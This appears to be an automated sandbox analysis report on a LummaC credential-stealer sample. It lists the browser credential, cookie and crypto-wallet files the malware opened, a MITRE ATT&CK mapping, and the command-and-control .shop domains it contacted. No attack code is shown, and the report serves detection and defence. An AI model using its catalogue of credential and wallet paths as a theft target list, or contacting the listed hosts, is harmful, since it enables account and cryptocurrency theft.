Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\key4.db	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cert9.db	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\logins.json	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Directory queried: C:\Users\user\Documents\NHPKIZUUSG

Jump to behavior

Source: Yara match

File source: Process Memory Space: BitLockerToGo.exe PID: 6644, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: BitLockerToGo.exe PID: 6644, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Windows Management Instrumentation	1 DLL Side-Loading	311 Process Injection	1 Masquerading	1 OS Credential Dumping	111 Security Software Discovery	Remote Services	1 Screen Capture	21 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	Boot or Logon Initialization Scripts	1 DLL Side-Loading	11 Virtualization/Sandbox Evasion	LSASS Memory	11 Virtualization/Sandbox Evasion	Remote Desktop Protocol	1 Archive Collected Data	2 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 PowerShell	Logon Script (Windows)	Logon Script (Windows)	311 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	31 Data from Local System	113 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	11 Deobfuscate/Decode Files or Information	NTDS	1 File and Directory Discovery	Distributed Component Object Model	2 Clipboard Data	Protocol Impersonation	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	3 Obfuscated Files or Information	LSA Secrets	12 System Information Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	Wi-Fi Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
file.exe	32%	ReversingLabs	Win64.Spyware.Lummastealer
file.exe	30%	Virustotal		Browse

Dropped Files

⊘No Antivirus matches

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Label	Link
acceptabledcooeprs.shop	1%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label	Link
http://crl.rootca1.amazontrust.com/rootca1.crl0	0%	URL Reputation	safe
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi	0%	URL Reputation	safe
http://x1.c.lencr.org/0	0%	URL Reputation	safe
http://x1.i.lencr.org/0	0%	URL Reputation	safe
https://support.microsof	0%	URL Reputation	safe
http://crt.rootca1.amazontrust.com/rootca1.cer0?	0%	URL Reputation	safe
acceptabledcooeprs.shop	0%	Avira URL Cloud	safe
plaintediousidowsko.shop	0%	Avira URL Cloud	safe
https://acceptabledcooeprs.shop/api	0%	Avira URL Cloud	safe
obsceneclassyjuwks.shop	0%	Avira URL Cloud	safe
zippyfinickysofwps.shop	0%	Avira URL Cloud	safe
https://acceptabledcooeprs.shop/apij	0%	Avira URL Cloud	safe
https://acceptabledcooeprs.shop/3	0%	Avira URL Cloud	safe
http://ocsp.rootca1.amazontrust.com0:	0%	Avira URL Cloud	safe
https://acceptabledcooeprs.shop/api	10%	Virustotal		Browse
holicisticscrarws.shop	0%	Avira URL Cloud	safe
https://protobuf.dev/reference/go/faq#namespace-conflictMpohxHrXTsWUtcYRySvTtdvgYoOzPaTLHQkyDGHWUOSc	0%	Avira URL Cloud	safe
acceptabledcooeprs.shop	1%	Virustotal		Browse
https://acceptabledcooeprs.shop/apiP	0%	Avira URL Cloud	safe
boredimperissvieos.shop	0%	Avira URL Cloud	safe
https://protobuf.dev/reference/go/faq#namespace-conflictMpohxHrXTsWUtcYRySvTtdvgYoOzPaTLHQkyDGHWUOSc	0%	Virustotal		Browse
https://acceptabledcooeprs.shop/	0%	Avira URL Cloud	safe
sweetsquarediaslw.shop	0%	Avira URL Cloud	safe
holicisticscrarws.shop	1%	Virustotal		Browse
miniaturefinerninewjs.shop	0%	Avira URL Cloud	safe
plaintediousidowsko.shop	1%	Virustotal		Browse
zippyfinickysofwps.shop	1%	Virustotal		Browse
obsceneclassyjuwks.shop	1%	Virustotal		Browse
https://acceptabledcooeprs.shop/	1%	Virustotal		Browse
boredimperissvieos.shop	1%	Virustotal		Browse
sweetsquarediaslw.shop	1%	Virustotal		Browse
miniaturefinerninewjs.shop	1%	Virustotal		Browse

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
acceptabledcooeprs.shop	104.21.59.156	true	true	1%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
plaintediousidowsko.shop	true	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
acceptabledcooeprs.shop	true	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
zippyfinickysofwps.shop	true	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://acceptabledcooeprs.shop/api	false	10%, Virustotal, Browse Avira URL Cloud: safe	unknown
obsceneclassyjuwks.shop	true	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
holicisticscrarws.shop	true	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
boredimperissvieos.shop	true	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
sweetsquarediaslw.shop	true	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
miniaturefinerninewjs.shop	true	1%, Virustotal, Browse Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	BitLockerToGo.exe, 00000002.00000003.1833831770.00000000008F3000.00000004.00000020.00020000.00000000.sdmp	false		high
https://duckduckgo.com/ac/?q=	BitLockerToGo.exe, 00000002.00000003.1833831770.00000000008F3000.00000004.00000020.00020000.00000000.sdmp	false		high
https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg	BitLockerToGo.exe, 00000002.00000003.1859265178.00000000008C4000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	BitLockerToGo.exe, 00000002.00000003.1833831770.00000000008F3000.00000004.00000020.00020000.00000000.sdmp	false		high
